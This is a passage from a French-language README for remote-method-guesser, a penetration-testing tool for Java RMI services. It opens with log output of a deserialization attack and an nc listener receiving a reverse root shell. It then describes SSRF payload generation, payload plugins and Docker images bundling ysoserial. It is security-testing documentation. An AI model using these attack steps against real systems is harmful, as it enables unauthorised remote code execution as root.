[+] Server attempted to deserialize dummy class c0ba245a659945bb93a49a3ab4b1e430.
[+] Deserialization attack probably worked :)
[qtc@devbox ~]$ nc -vlp 4444 Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444 Ncat: Connection from 172.17.0.2. Ncat: Connection from 172.17.0.2:35377. id uid=0(root) gid=0(root) groups=0(root)
### Plus de fonctionnalités
*remote-method-guesser* inclut de nombreuses fonctionnalités qui ne sont pas expliquées dans ce fichier *README.md*. Certaines d'entre elles sont listées ci-dessous :
* Presque toutes les opérations peuvent être utilisées avec l'option ``--ssrf`` pour créer une charge utile *SSRF* pour l'opération correspondante.
* Si vous avez obtenu une sortie binaire du *serveur RMI* (par exemple après une attaque *SSRF*), vous pouvez la fournir à *remote-method-guesser* en utilisant l'option ``--ssrf-response``. Cela analyse la sortie du serveur telle qu'elle a été obtenue par l'opération spécifiée.
* *remote-method-guesser* peut être étendu en utilisant son *système de plugins*. Quatre interfaces (``IPayloadProvider``, ``IResponseHandler``, ``IArgumentProvider`` et ``ISocketFactoryProvider``) peuvent être utilisées pour adapter *remote-method-guesser* à des scénarios d'utilisation plus complexes.
* Pendant l'action ``guess``, vous pouvez utiliser l'option ``--create-samples`` pour générer du code *Java* qui peut être utilisé pour invoquer les méthodes devinées avec succès.
Plus d'informations sur ces fonctionnalités peuvent être trouvées dans le [dossier de documentation](https://github.com/qtc-de/remote-method-guesser/blob/master/docs).
### Image Docker
----
Depuis la version `v4.4.0`, *remote-method-guesser* est également disponible en tant qu'image docker et peut être extraite depuis le [Registre de conteneurs GitHub](https://github.com/qtc-de/remote-method-guesser/pkgs/container/remote-method-guesser%2Frmg).
Pour chaque version, il existe une version *normale* et une version *slim*. Les deux fournissent une version fonctionnelle complète de *remote-method-guesser*, mais seule la version *normale* inclut [ysoserial](https://github.com/frohoff/ysoserial), ce qui donne une taille d'image plus grande :
* `docker pull ghcr.io/qtc-de/remote-method-guesser/rmg:4.4.0` - `121MB`
* `docker pull ghcr.io/qtc-de/remote-method-guesser/rmg:4.4.0-slim` - `61.9MB`
Vous pouvez également construire le conteneur vous-même en exécutant les commandes suivantes :```console
[user@host ~]$ git clone https://github.com/qtc-de/remote-method-guesser
[user@host ~]$ cd remote-method-guesser && docker build -t rmg .
remote-method-guesser a été fortement influencé par les articles de blog de Hans-Martin Münch et Jake Miller. De plus, la liste de mots rmiscout a été évidemment copiée du projet rmiscout (comme vous pouvez déjà le constater par l'accord de licence différent). Merci Jake pour cette formidable liste de méthodes distantes collectées à partir de différents dépôts GitHub.
Copyright 2023, Tobias Neitzel et les contributeurs de remote-method-guesser.